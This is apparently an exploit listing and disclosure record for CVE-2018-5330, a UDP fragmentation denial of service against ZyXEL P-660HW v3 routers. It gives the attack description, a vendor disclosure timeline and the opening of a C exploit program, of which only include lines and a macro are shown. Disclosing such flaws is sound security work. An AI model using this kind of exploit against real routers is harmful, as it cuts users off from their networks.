ZyXEL P-660HW UDP Denial Of Service

ZyXEL P-660HW suffers from a UDP fragmentation denial of service vulnerability.


MD5 | 540f62d029470090796859bb2a8aeed4

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#Exploit Title: ZyXEL P-660HW UDP fragmentation Denial of Service
CVE: CVE-2018-5330
#CWE: CWE-400
#Exploit Author: Hosein Askari
#Vendor HomePage: https://www.zyxel.com/
#Version : v3
#Tested on: ZyXEL P-660HW
#Category: Network Appliance
#Author Mail : [email protected]
#description: ZyXEL P-660HW v3 devices allow remote attackers to cause a denial of service (router unreachable/unresponsive) via a flood of fragmented UDP packets.
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Vendor status:
[02.01.2018] Vulnerability discovered
[04.01.2018] CVE requestion
[10.01.2018] CVE assigned
[10.01.2018] Contact with the vendor
[11.01.2018] Vendor responds asking for details
[11.01.2018] Sent detailed information to the vendor(exploit, sample of PCAP, video of attack)
[11.01.2018] Vendor assigns appropriate team for coordination
[11.01.2018] Vendor is analyzing the issue
[12.01.2018] Asked vendor for confirmation
[12.01.2018] Vendor replies with confirmation of the issue
#####################
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/udp.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
#define change(n) (n)
#else
#define change(n) htons(n)
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